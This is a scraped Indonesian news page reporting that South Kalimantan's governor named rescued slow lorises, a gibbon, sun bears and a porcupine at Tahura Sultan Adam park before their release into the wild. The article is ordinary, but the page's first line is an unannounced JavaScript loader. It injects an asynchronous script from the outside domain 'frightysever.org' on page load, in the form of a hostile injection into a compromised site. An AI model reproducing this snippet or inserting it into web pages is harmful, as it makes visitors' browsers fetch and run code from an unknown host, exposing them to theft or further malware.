(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
DISHUT PROV KALSEL

Saat Gubernur Sahbirin Menamai Kukang Jantan dengan “Paman Birin”


MARTAPURA, Satwa-satwa penghuni baru Taman Hutan Raya (Tahura) Sultan Adam diberikan nama oleh Gubernur Kalsel, Sahbirin Noor, Jum’at (16/3). Satwa-satwa tersebut diterima oleh Tahura Sultan pekan lalu (9/3) dari Balai Konservasi Sumber Daya Alam Kalsel (BKSDA) Kalsel.

Paman Birin, sapaan Gubernur Kalsel Sahbirin Noor memberikan nama kepada satwa jenis Kukang, Owa-owa, beruang, dan landak. 6 ekor Kukang yang terdiri 3 jantan dan betina, diberi nama masing-masing Galuh, Acil Idang dan Aluh Sarianti untuk betina. Sedangkan tiga 3 ekor jantan diberi nama Utuh, Paman Birin, dan Anang Bungas.

Owa-owa Betina diberi nama Laila Manis, selain itu juga diberikan nama kepada 3 beruang madu, 2 jantan diberi nama Kacong Borneo dan Rizal Borneo. Yang betina diberi nama Mirna Borneo, satu landak diberi nama Aling Borneo.

Satwa-satwa yang berada di Tahura Sultan Adam merupakan satwa yang dititip-rawatkan pihak BKSDA kepada Dishut Kalsel melalui UPT Tahura Sultan Adam. Tujuan satwa-satwa ini dititip-rawatkan di Tahura Sultan Adam sebagai langkah habituasi untuk satwa-satwa tersebut. Dengan langkah ini diharapkan sifat liar mereka kembali sebelum dilepasliarkan ke alam liar.

Kepala BKSDA SKW 2 Kalsel, M Ridwan beberapa waktu sebelumnya menyampaikan, tujuan dari habituasi ini sebagai langkah untuk mengembalikan sifat liar satwa-satwa tersebut agar siap untuk kembali ke alam liar.

“Setelah mereka siap dan dari kesehatan sudah memungkinkan, maka bisa dilepas ke alam liar”, ujarnya. Dia menambahkan, satwa-satwa tersebut merupakan hasil serahan dari masyarakat.

Penitiprawatan satwa-satwa tersebut juga merupakan tindak lanjut perjanjian kerja sama antara Balai KSDA Kalimantan Selatan dengan Dinas Kehutanan Prov. Kalimantan Selatan tentang optimalisasi penguatan fungsi kawasan Tahura Sultan Adam dan Pengawetan Keanekaragaman Hayati khususnya satwa liar yg dilindungi undang-undang. (Abdullah/Rendy)

Reporter : Abdullah, Rendy
Editor : Chell

Desy Arfianty

Recent Posts

Serap Aspirasi Gen Z, Pj Bupati Kapuas Erlin Hardi Main ke Kafe

KANALKALIMANTAN.COM, KUALA KAPUAS - Penjabat (Pj) Bupati Kapuas Erlin Hardi menyambangi kafe untuk menyerap langsung… Read More

6 menit ago

TPK Kelurahan Selat Hilir Juara 3 Terbaik Nasional 2024

KANALKALIMANTAN.COM, KUALA KAPUAS - Kerja keras yang berbuah manis. Ungkapan tersebut tepat disematkan untuk Tim… Read More

13 menit ago

Ibadah dan Sosial Ekonomi Berkembang, Masjid At-Taqwa Karang Anyar III Diperluas

KANALKALIMANTAN.COM, BANJARBARU - Dalam beberapa tahun terakhir, antusias warga dalam melaksanakan peribadatan di Masjid At… Read More

2 jam ago

Amuntai Expo dan Bazar Ekonomi Kreatif 2024

KANALKALIMANTAN.COM, AMUNTAI - Memeriahkan Hari Jadi ke-72 Kabupaten Hulu Sungai Utara (HSU) digelar Amuntai Expo… Read More

12 jam ago

Warga Muhammadiyah Banjarbaru Berhalalbihalal di Masjid At Taqwa

KANALKALIMANTAN.COM, BANJARBARU - Pimpinan Cabang Muhammadiyah Banjarbaru Utara menggelar halalbihalal sekaligus Hari Bermuhammadiyah kali pertama… Read More

15 jam ago

5 Mei Hari Bidan Sedunia

KANALKALIMANTAN.COM – Negara-negara di dunia merayakan Hari Bidan Sedunia yang jatuh pada 5 Mei setiap… Read More

21 jam ago

This website uses cookies.